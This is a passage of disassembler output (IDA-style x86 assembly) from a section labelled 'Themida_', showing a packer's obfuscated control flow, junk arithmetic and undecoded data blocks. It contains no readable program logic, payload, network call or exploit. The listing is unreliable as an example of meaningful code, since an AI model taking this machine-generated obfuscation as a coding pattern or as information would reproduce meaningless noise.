		add	ebx, edi
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_556CAE
		push	dword ptr [edi+1Ch]
		jmp	loc_54F996
; ---------------------------------------------------------------------------
		dd 85240481h, 0E979D162h, 7FE0h, 24048F54h, 4240481h, 8F000000h
		dd 56E92404h, 81000063h, 42404h, 815B0000h, 4C3h, 0BB535200h
		dd 16264234h, 0D3F7DBF7h, 5A5CE9h, 10E95100h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F98F:				; CODE XREF: Themida_:005561C9j
		push	esp
		pop	esi
		jmp	loc_54F615
; ---------------------------------------------------------------------------


loc_54F996:				; CODE XREF: Themida_:0054F947j
		add	dword ptr [esp], 37D004B2h
		mov	ecx, [esp]
		push	2A66h
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_54FFE3
; ---------------------------------------------------------------------------
		db 5
		dd 4, 66A0E957h, 0C2830000h, 81D2F7FFh,	4DBF07EAh, 8BD5898Ah
		dd 0C4832414h, 5DE90104h, 4394BE56h, 0E9535E84h, 3358h
; ---------------------------------------------------------------------------


loc_54F9DC:				; CODE XREF: Themida_:00556488j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_54F0A9
		push	dword ptr [edi+28h]
		jmp	loc_55910A
; ---------------------------------------------------------------------------


loc_54F9EF:				; CODE XREF: Themida_:00553CD8j
		neg	ebx
		push	eax
		mov	eax, 291120h
		sub	eax, 93B3CC28h
		or	ebx, eax
		jmp	loc_554EAD
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 7D54E9h, 48B6600h, 0FEE95524h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FA1B:				; CODE XREF: Themida_:005589F9j
		pop	esi
		add	edi, 3803707h
		add	edi, ebp
		sub	edi, 3803707h
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		add	eax, 0FDB3F03h
		push	36BBh
		mov	[esp], ebx
		jmp	loc_553712
; ---------------------------------------------------------------------------


loc_54FA41:				; CODE XREF: Themida_:0055A80Bj
		push	ebp
		mov	ebp, 18925403h
		shr	ebp, 1
		jmp	loc_557076
; ---------------------------------------------------------------------------


loc_54FA4E:				; CODE XREF: Themida_:0055847Dj
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_55297A
; ---------------------------------------------------------------------------


loc_54FA59:				; CODE XREF: Themida_:00550040j
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, 66B9409Bh
		jmp	loc_556D91
; ---------------------------------------------------------------------------
aHaqqqs@x	db '¸hAQqQé@X',0
		dw 5200h
		dd 0FFF321E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA79:				; CODE XREF: Themida_:0055741Bj
		push	cx
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 0D1h, 0E9h, 0F7h
		dd 51F181D9h, 81D8E252h, 0F63A1CEAh, 7E67E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FA96:				; CODE XREF: Themida_:00553EC3j
		mov	edx, 0B47EB8CEh
		add	edx, ecx
		pop	ecx
		shl	edx, 8
		jmp	loc_55075B
; ---------------------------------------------------------------------------


loc_54FAA6:				; CODE XREF: Themida_:0055440Aj
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xchg	eax, edi
		push	edi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_557F6C
; ---------------------------------------------------------------------------


loc_54FADA:				; CODE XREF: Themida_:0054EFB1j
		shl	edi, 2
		add	edi, 6E7D2969h
		sub	edi, 0EF7D6D6Dh
		jmp	loc_54F42A
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 3FDB516Fh, 0E9E9F729h, 66000068h, 5624148Bh,	92EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FB05:				; CODE XREF: Themida_:00553BD9j
		push	edx
		mov	edx, 71B451EFh
		shl	edx, 4
		sub	edx, 88C521E9h
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		jmp	loc_55117C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0FF24248Bh,	0C8B2434h, 72236824h, 31E90000h
		dd 59000064h, 2C5BD828h, 4C8283Fh, 0FF58043Fh, 34FF2434h
		dd 4F85E924h, 0ED800000h, 0FAC580A8h, 34FFEB28h, 89515924h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 5BD8005Ch, 4EC81h
		dd 1C890000h, 0FEAAB724h, 44E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FB86:				; CODE XREF: Themida_:005510CEj
		xor	edi, 1EB094C0h
		or	eax, edi
		pop	edi
		shr	eax, 1
		jmp	loc_550289
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 3130F281h, 0D101E3F1h, 59CA015Ah, 0A001E9h, 9DCD8100h
		dd 81162231h, 8E32B5EDh, 573F0536h, 0FEE95085h,	830000B0h
		dd 348904ECh, 860BE924h, 0EF800000h, 0F0B252F1h, 0A553E953h
		dd 0E95D0000h, 0B53Fh, 5C243C87h, 0BB241C89h, 2, 0C4F4005h
		dd 2DD8017Fh, 7F0C4F40h, 5B2434FFh, 23DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FBFD:				; CODE XREF: Themida_:00550AE7j
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_54F680
; ---------------------------------------------------------------------------
		db 52h
		dd 0F24FFABAh, 81D2F743h, 0E96EB8E2h, 0EAC1425Bh, 0FF74E904h
		dd 48BFFFFh, 4C48124h, 68000000h, 881h,	89240489h, 8043E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FC3A:				; CODE XREF: Themida_:0054ED3Dj
		add	ebx, eax
		pop	eax
		jmp	loc_551C21
; ---------------------------------------------------------------------------
aA8Ai8s		db '€Ã8(Àë8é¶',1Bh,0
		dw 0E900h
		dd 0FFFFEE08h, 70B668h,	243C8900h, 40E95F54h, 89000046h
		dd 0EFE92404h, 0FFFFFFF2h, 34FF2434h, 24048B24h, 0A7C6E951h
		dd 0C2830000h, 24148704h, 13A0E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FC86:				; CODE XREF: Themida_:0055B028j
		sub	al, 5Eh
		mov	bl, al
		pop	eax
		push	dx
		jmp	loc_559706
; ---------------------------------------------------------------------------
aHKBi6IiSei	db 'h%KÚ [ëÍ6è‰Øé…©',0
		dd 0E9C22900h, 861Dh
; ---------------------------------------------------------------------------


loc_54FCAC:				; CODE XREF: Themida_:0055282Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_558260
; ---------------------------------------------------------------------------
aI4YsL		db '‰4$YéÁL',0
		dw 3100h
		dd 8285E9F8h, 24890000h, 24048324h, 4FE95804h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FCD7:				; CODE XREF: Themida_:005584CDj
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 76BE63BAh
		jmp	loc_557D62
; ---------------------------------------------------------------------------
		db 0BEh, 8Bh, 2
aRQKXn0B1SK	db 'R(Q¹K]•n¿0~Î1Ïé;k',0
		align 4
		dd 2D5BDF31h, 70A51E96h, 9605F801h, 0E970A51Eh,	6AA7h
; ---------------------------------------------------------------------------


loc_54FD20:				; CODE XREF: Themida_:00554175j
		xchg	esi, [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_551574
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB281FEBh, 591FC380h, 8DC0B60Fh, 0EC818704h, 4, 54240C89h
		dd 592434FFh, 8104C483h, 4C1h, 0A54CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD5A:				; CODE XREF: Themida_:005586DEj
		shr	ecx, 6
		jmp	loc_555572
; ---------------------------------------------------------------------------


loc_54FD62:				; CODE XREF: Themida_:0055AF39j
		sub	dword ptr [esp], 406574E1h
		jmp	loc_559864
; ---------------------------------------------------------------------------
aYsI		db 'YéÞI',0
		align 4
aD_2		db '±¤',0
		db 0CEh
		dd 10E8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD7E:				; CODE XREF: Themida_:0055AE42j
		pop	ebx
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_553608
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 6EE90000h, 5500001Dh, 3B3180BDh, 0E9EB0130h
		dd 7F90h, 28D8EA80h, 0F516E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDC2:				; CODE XREF: Themida_:005577F3j
		push	ebx
		jmp	loc_552B4C
; ---------------------------------------------------------------------------
		dd 80C58159h, 31DC5660h, 242C8BE8h, 4C481h, 0BD550000h
		dd 32223630h, 394BC381h, 0EB0120B1h, 394BEB81h,	815D20B1h
		dd 8F03EDEBh, 0F1C38105h, 0E926C172h, 6BA1h, 240C8B66h
		dd 3F168h, 242C8900h, 0B951E589h, 4, 0FFF621E9h, 2BAFFh
		dd 0BA520000h, 50880345h, 120DC281h, 75E9177Ah,	6800004Ah
		dd 10B8h, 0E9240C89h, 370Fh, 0E952E089h, 4FFAh,	5124348Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 9077E924h,	1CF70000h
		dd 0F5E99C24h, 1FFFFEBh, 2FE95BDFh, 0FF00006Dh,	34FF2434h
		dd 62D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE7A:				; CODE XREF: Themida_:005556FAj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	54AF185Ah
		pop	edx
		add	edx, 0AB50E7AAh
		sub	edi, 78BE2322h
		add	edi, edx
		add	edi, 78BE2322h
		jmp	loc_552B3E
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0A692h
; ---------------------------------------------------------------------------


loc_54FEB0:				; CODE XREF: Themida_:0055424Bj
		push	ebx
		push	7469308Ah
		pop	ebx
		or	ebx, 2A130918h
		xor	ebx, 5CF500BFh
		xor	ebx, 228E3921h
		jmp	loc_5510EE
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 190DEE81h, 96E91D92h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FEDB:				; CODE XREF: Themida_:0055934Ej
		sub	eax, esi
		pop	esi
		shr	eax, 5
		jmp	loc_55276C
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 9EFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FEF1:				; CODE XREF: Themida_:00550BFFj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_554E8E
; ---------------------------------------------------------------------------
aFzV		db ',×fZ,¢',0
		db 0D8h, 52h, 0B6h
		dd 0D7F6804Ah, 0E994EE80h, 0B24h
; ---------------------------------------------------------------------------


loc_54FF10:				; CODE XREF: Themida_:00552614j
		neg	ebp
		shl	ebp, 4
		sub	ebp, 10545133h
		add	eax, ebp
		jmp	loc_5590FD
; ---------------------------------------------------------------------------
		dw 0C3FEh
aPsx		db 'PéX%',0
		align 2
		dw 0E801h
		dd offset dword_4D48F8+2670h
		dd 0F65FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF36:				; CODE XREF: Themida_:00551C2Aj
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_552684
; ---------------------------------------------------------------------------
		dd 0EC81E9D0h, 4, 0E9241C89h, 11A5h, 240C875Fh,	2C5835Ch
		dd 617368h, 242C8900h, 42474FFh, 57242C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 48F5C24h, 0A3E95C24h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FF83:				; CODE XREF: Themida_:005504A9j
		add	ebp, 4
		push	ebx
		mov	ebx, 3DD13C7Ah
		add	ebx, 703522F0h
		add	ebx, 4F0B78A4h
		sub	ebx, 0FD11D80Ch
		add	ebp, ebx
		jmp	loc_55016C
; ---------------------------------------------------------------------------
		dd 4C481h, 0B4500000h, 7E3E95Ch, 8B660000h, 3E682404h
		dd 89000043h, 0E189240Ch, 2F2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FFC9:				; CODE XREF: Themida_:0055657Bj
		pop	eax
		push	681Eh
		mov	[esp], ecx
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		pop	edi
		jmp	loc_556772
; ---------------------------------------------------------------------------
aSur		db ']éu',0
		db 0
; ---------------------------------------------------------------------------


loc_54FFE3:				; CODE XREF: Themida_:0054F9AAj
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_55574D
; ---------------------------------------------------------------------------
		dd 0FFEA63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FFF9:				; CODE XREF: Themida_:00551FA2j
		xchg	ebp, [esp]
		jmp	loc_55A496
; ---------------------------------------------------------------------------


loc_550001:				; CODE XREF: Themida_:0054EBE9j
		mov	ch, 0Fh
		xor	ch, 0B4h
		xor	ch, 3
		jmp	loc_55387D
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 3A4CE981h, 53E94F08h, 8000002Dh, 0C8000EC1h, 2E84E9h
		db 0
; ---------------------------------------------------------------------------


loc_550029:				; CODE XREF: Themida_:00552F5Cj
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54FA59
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 0E9h
		dd 514Ah, 7EBA5256h, 0F74B125Ah, 79F281DAh, 52CC41B8h
		dd 83F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_550061:				; CODE XREF: Themida_:005515AFj
		xor	[esp], esi
		jmp	loc_550F0E
; ---------------------------------------------------------------------------


loc_550069:				; CODE XREF: Themida_:00555E7Fj
		sub	edx, 7EC9688Dh
		sub	edx, 33994A00h
		add	edx, edi
		add	edx, 33994A00h
		add	edx, 7EC9688Dh
		jmp	loc_551E22
; ---------------------------------------------------------------------------
		dd 525BF920h, 0DEF682B6h, 0F680D6F6h, 2EEC039h,	29F680h
		dd 0C8885AF1h, 2856E9h,	57E18900h, 4BFh, 5FF90100h, 47CD68h
		dd 24148900h, 7190E9h, 0E9F53000h, 5CD1h, 8B242C87h, 81532424h
		dd 1EAE2404h, 2D585805h, 58051EAEh, 0E97EE95Bh,	2C33FFFFh
		dd 242C3124h, 0EB9E9h, 0D8E98100h, 812BEB01h, 563B62E9h
		dd 59CD89AEh, 68C1C581h, 0B8505BF2h, 51E93811h,	38ADE9h
		dd 0C8B6600h, 58545024h, 4EC81h, 3C890000h, 99A3E924h
		dd 8B660000h, 0AD68240Ch, 0E9000036h, 0A2EDh, 24143166h
		dd 24143366h, 24143166h, 0F7665266h, 68E92414h,	0B8000034h
		dd 57EA14C9h, 73A9E9h, 0E9FB3100h, 6C9Fh, 2B8h,	8D3CE900h
		dd 5E960000h, 0D522CF35h, 0E9C70164h, 0AFD9h
; ---------------------------------------------------------------------------


loc_55016C:				; CODE XREF: Themida_:0054FFA3j
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_557292
; ---------------------------------------------------------------------------


loc_55017B:				; CODE XREF: Themida_:0055958Dj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55AFAE
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0B5h
		dd 29000019h, 0D5015BDAh, 19F1685Ah, 3C890000h,	4BF24h
		dd 0FD290000h, 4EC835Fh, 0FF242C89h, 0FF042474h, 535D2434h
		dd 0C3815B54h, 4, 4E00E9h
		db 0
; ---------------------------------------------------------------------------


loc_5501CD:				; CODE XREF: Themida_:005592F3j
		add	esp, 4
		jmp	loc_550AF6
; ---------------------------------------------------------------------------


loc_5501D5:				; CODE XREF: Themida_:005549CAj
		mov	esi, esp
		add	esi, 4
		jmp	loc_55378B
; ---------------------------------------------------------------------------
aLSiz		db '‹$$é›§',0
		align 2
		dw 0E95Ch
		dd 0E6Ah, 92E9CB00h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5501F7:				; CODE XREF: Themida_:00557EB8j
		mov	dh, 88h
		add	bl, 73h
		sub	bl, dh
		sub	bl, 73h
		mov	dx, [esp]
		push	edi
		jmp	loc_553793
; ---------------------------------------------------------------------------
		db 5
		dd 5F90EF3h, 4B9FBF57h,	0BA5275BEh, 226159C3h, 148BD729h
		dd 4C48324h, 1A656853h,	15B06D2h, 241C8BDFh, 4C481h, 0F7810000h
		dd 7B005F5Eh, 295FF829h, 5DE468D8h, 1C890000h, 2AABB24h
		dd 0EBD132CAh, 7992E9h,	4077FF00h, 0FFE7FFE9h, 97E95BFFh
		dd 5CFFFFF1h, 815D5455h, 4C5h, 4BB5300h, 0E9000000h, 5804h
; ---------------------------------------------------------------------------


loc_550278:				; CODE XREF: Themida_:00553786j
		pop	eax
		jmp	loc_5540C3
; ---------------------------------------------------------------------------


loc_55027E:				; CODE XREF: Themida_:0055A6DCj
		add	edi, 4
		jmp	loc_551490
; ---------------------------------------------------------------------------


loc_550289:				; CODE XREF: Themida_:0054FB91j
		shr	eax, 4
		jmp	loc_556060
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C6h
		dd 65A838AAh, 0EE81C601h, 65A838AAh, 24348758h,	0A891E9h
		dd 0FF535C00h, 815B2434h, 4ECh,	240C8900h, 0C181E189h
		dd 4, 7CE9E9h, 4B900h, 0C6810000h, 3D06235Fh, 5DE9CE01h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5502D7:				; CODE XREF: Themida_:0055942Fj
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_556FBD
; ---------------------------------------------------------------------------


loc_5502E4:				; CODE XREF: Themida_:0055ACADj
		mov	edx, [esp]
		add	esp, 4
		push	34D9h
		mov	[esp], edi
		jmp	loc_555AC1
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0D8E90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_550307:				; CODE XREF: Themida_:00552318j
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55AFCD
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 9697E9h, 240C8900h, 4B9h, 27EE8100h,	0E95B0451h, 4784h
		dd 235FEE81h, 0C8B3D06h, 0A6BCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550342:				; CODE XREF: Themida_:005522D1j
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		sub	ebp, 22F07DEFh
		and	ebp, 6006DF3h
		jmp	loc_5569E6
; ---------------------------------------------------------------------------
		dd 33243431h, 248B2434h, 4896624h, 0E6F2E924h, 22CFFFFh
		dd 0E9240C8Bh, 3797h, 8B24048Fh, 7FE92424h, 80000092h
		dd 0E2201DC4h, 0FB05058h, 0C0FEF32Ch, 0C220A92Ch, 7E2C058h
		dd 0FEBEE280h, 82B050CAh, 2858C200h, 24148BD3h,	5051E9h
		db 0
; ---------------------------------------------------------------------------


loc_5503A9:				; CODE XREF: Themida_:00552D57j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5516B3
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0C8h
		dd 125426Dh, 1C8B58C2h,	0E2895224h, 611AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5503C9:				; CODE XREF: Themida_:00559EEBj
		push	ecx
		jmp	loc_550FDA
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 61E95C24h, 54000030h, 27DE9h, 57B45000h
		dd 0D6E9E588h, 5800002Ah, 4EC81h, 14890000h, 2474FF24h
		dd 24148B04h, 81E38953h, 4C3h, 0AD87E900h, 0C3FE0000h
		dd 3003EB80h, 0D3285BDAh, 5224148Bh, 0C281E289h, 4, 281AE9h
		dd 48B6600h, 8B545624h,	0C4812434h, 4, 79A2E9h,	0C3815D00h
		dd 4, 5C241C87h, 6B05066h, 5866C300h, 285CB652h, 0C3285AF3h
		dd 805CB551h, 0B7E971C3h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55045F:				; CODE XREF: Themida_:0055837Cj
		pop	esp
		jmp	loc_55AA79
; ---------------------------------------------------------------------------
		db 2 dup(58h), 33h
		dd 14312414h, 24143324h, 243CD35Ch, 0E5E2E99Ch,	48BFFFFh
		dd 4C48124h, 33000000h,	14312414h, 24143324h, 4EC815Ch
		dd 89000000h, 0D788241Ch, 1B5F6852h, 0C890000h,	0E9F98824h
		dd 96E9h
; ---------------------------------------------------------------------------


loc_5504A8:				; CODE XREF: Themida_:0055AA52j
		pop	esp
		jmp	loc_54FF83
; ---------------------------------------------------------------------------


loc_5504AE:				; CODE XREF: Themida_:00559A35j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_550585
; ---------------------------------------------------------------------------


loc_5504C0:				; CODE XREF: Themida_:005525A4j
		add	edi, edx
		jmp	loc_555B01
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E5h, 89000000h,	49BE2434h, 81102071h, 0B0369AF6h
		dd 0FFEE8134h, 53FFFFFFh, 9047D0BBh, 0E9DE2924h, 4D3Bh
		dd 51D1E95Eh, 248B0000h, 0C8B6624h, 4EC8124h, 89000000h
		dd 4B68243Ch, 89000019h, 54682424h, 8900007Dh, 4BE2434h
		dd 53000000h, 0A85B20BBh, 9DE94B34h, 5E0000A7h,	4EC81h
		dd 75E90000h, 66FFFFF9h, 8324048Bh, 3C8904ECh, 0E9E78924h
		dd 8ADAh, 42Dh,	74FF5000h, 8F580424h, 0CEE92404h, 5B0000A7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_559CCB
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 5C243433h, 9C240401h, 0FFE4D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550585:				; CODE XREF: Themida_:005504BBj
		pop	esp
		push	eax
		jmp	loc_55423A
; ---------------------------------------------------------------------------
aSo		db ')Ý[é®*',0
		align 4
		dd 0EBE9DA01h, 2C00001Dh, 0E9F800ADh, 0A308h, 83E95A66h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5505AB:				; CODE XREF: Themida_:0055283Aj
		add	esp, 4
		jmp	loc_5536D9
; ---------------------------------------------------------------------------
aMrst		db '¬Rét[',0
		dd 81505100h, 4F5D2404h, 81592A39h, 394F5DE9h, 6338E92Ah
		dd 8B540000h, 0C481240Ch, 4, 9AA5E957h,	0F8290000h, 0B4B055Fh
		dd 0D8290BDEh, 0DE0B4B2Dh, 2DF050Bh, 432D445Dh,	531D0559h
		dd 0E11924BBh, 81DBF77Ch, 0F7F699F3h, 5BD8018Bh, 81E68956h
		dd 4C6h, 4EE8100h, 33000000h, 34312434h, 0AADE924h, 0E95B0000h
		dd 6271h, 0BB53595Ch, 77543E3Bh, 815BD901h, 4ECh, 243C8900h
		dd 8B2434FFh, 41E92414h, 3300007Dh, 248B2434h, 0A79EE924h
		dd 0FF660000h, 0E3FEE932h, 0C8BFFFFh, 4C48324h,	52E95253h
		dd 66000015h, 6602B60Fh, 667A0068h, 0E9240489h,	0FFFFE3E0h
		dd 4EC81ACh, 0E9000000h, 2D42h,	8105EDC1h, 0CBCD19F5h
		dd 0E9EF8947h, 1109h, 0C8FE430Ch, 0C8FEA42Ch, 0C006E8C0h
		dd 0CC2C08E0h, 562C762Ch, 2858C228h, 24148BD7h,	4C481h
		dd 0B9E90000h, 5200000Ch, 0D223D7BAh, 684A4205h, 0B9h
		dd 0B8240489h, 7EF7AAFh, 0E958C201h, 5777h, 0FFC0B60Fh
		dd 0EC838734h, 24348904h, 40368h, 24148900h, 8885E9h
		db 0
; ---------------------------------------------------------------------------


loc_5506F5:				; CODE XREF: Themida_:00558FABj
		push	edx
		jmp	loc_550FB9
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFFB0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550701:				; CODE XREF: Themida_:00557D05j
		and	esi, edx
		pop	edx
		sub	esi, 0E861FD7Eh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 31F856C4h
		push	edi
		jmp	loc_555AEC
; ---------------------------------------------------------------------------
aRsNaU		db 'RS·Û¶­€Æî',0
		dd 0EEEE80FEh, 1FCE805Bh, 60B9E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5556B2
; ---------------------------------------------------------------------------


loc_55074D:				; CODE XREF: Themida_:00556D9Aj
		pop	edx
		jmp	loc_552B88
; ---------------------------------------------------------------------------
		db 89h
		dd 1E92404h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55075B:				; CODE XREF: Themida_:0054FAA1j
		sub	edx, 6FCC1DD9h
		xor	edx, 0FCFECE3Eh
		jmp	loc_5562AC
; ---------------------------------------------------------------------------
		dd 0EFC0585Ah, 4FF78005h, 20E99D04h, 0BFFFFFFEh, 2BAD1AECh
		dd 8102EFC1h, 0FC3EF0EFh, 0D7F74773h, 7D1BE56h,	0F70196EFh
		dd 37FBE9h, 0D2F48000h,	0DCF6DCF6h, 0F642C480h,	0FBD5E9DCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5507AA:				; CODE XREF: Themida_:0054ECB6j
		push	ecx
		jmp	loc_55361E
; ---------------------------------------------------------------------------
		dd 243C8B5Fh, 0E904C483h, 77ECh
; ---------------------------------------------------------------------------


loc_5507BC:				; CODE XREF: Themida_:0055399Dj
		xchg	ebp, [esp]
		pop	esp
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_559A2D
; ---------------------------------------------------------------------------


loc_5507CB:				; CODE XREF: Themida_:0054ECE7j
		and	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 912617h
		jmp	loc_558CBF
; ---------------------------------------------------------------------------


loc_5507D9:				; CODE XREF: Themida_:005519F1j
		push	ebx
		jmp	loc_55488E
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C3300h, 33240C31h, 0E95C240Ch, 1D03h, 2474FF55h
		dd 7759E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5507FE:				; CODE XREF: Themida_:0054F386j
		mov	edi, 71D53A01h
		jmp	loc_55787E
; ---------------------------------------------------------------------------


loc_550808:				; CODE XREF: Themida_:005542D7j
		mov	ecx, 23272A4Fh
		or	ecx, 70265E79h
		sub	ecx, 3CCF700Fh
		shr	ecx, 6
		xor	ecx, 27565C17h
		add	ecx, 0D870C3D6h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_552823
; ---------------------------------------------------------------------------
		db 68h
		dd 3E84h, 0E9240C89h, 122Eh, 0F2C7815Eh, 81FD55F2h, 0A266FBC3h
		dd 81FB2954h, 0A266FBEBh, 0EAE95F54h, 83000031h, 0C8704C4h
		dd 4212E924h, 0BFBB0000h, 5278CA05h, 6867E7BAh,	86E2813Ah
		dd 4A11BE6Eh, 0C102EAC1h, 0EA8107EAh, 0FFDEB37Dh, 782DE9h
		dd 240C8B00h, 8904C483h, 0E5815AD5h, 56CD3289h,	0F702EDC1h
		dd 35CD81D5h, 0E9232718h, 5B18h
; ---------------------------------------------------------------------------


loc_5508B0:				; CODE XREF: Themida_:005572B5j
		dec	ebp
		jmp	loc_554B1A
; ---------------------------------------------------------------------------
		dw 19B8h
		dd 0F73E0921h, 4A66E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5508C2:				; CODE XREF: Themida_:005584E6j
		mov	[esp], ebx
		xor	dword ptr [esp], 67015709h
		pop	ecx
		xor	ecx, 67015709h
		pop	ebx
		mov	edx, ecx
		jmp	loc_553BC2
; ---------------------------------------------------------------------------
		db 89h
		dd 0A5B02404h, 9FBAE9h,	0C1895100h, 5859CF89h, 0FFA9C781h
		dd 0F8310502h, 43C6815Fh, 0E974AC65h, 3A7h, 587168h, 243C8900h
		dd 542630BFh, 0D9D2BE47h, 0FE01B8ABh, 81243C8Bh, 4C4h
		dd 5EF00100h, 0FFE849E9h, 0C5815DFFh, 4, 4EC8357h, 7F96E9h
		dd 0B2526600h, 66D32895h, 0B4EB805Ah, 736DE9h, 4C18300h
		dd 5C240C87h, 872C885Bh, 5F9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_550955:				; CODE XREF: Themida_:0055A2A1j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 46DC6FABh
		add	ebp, 71BD428Eh
		or	ebp, 549A7E7Ch
		or	ebp, 12A2769Eh
		push	ebx
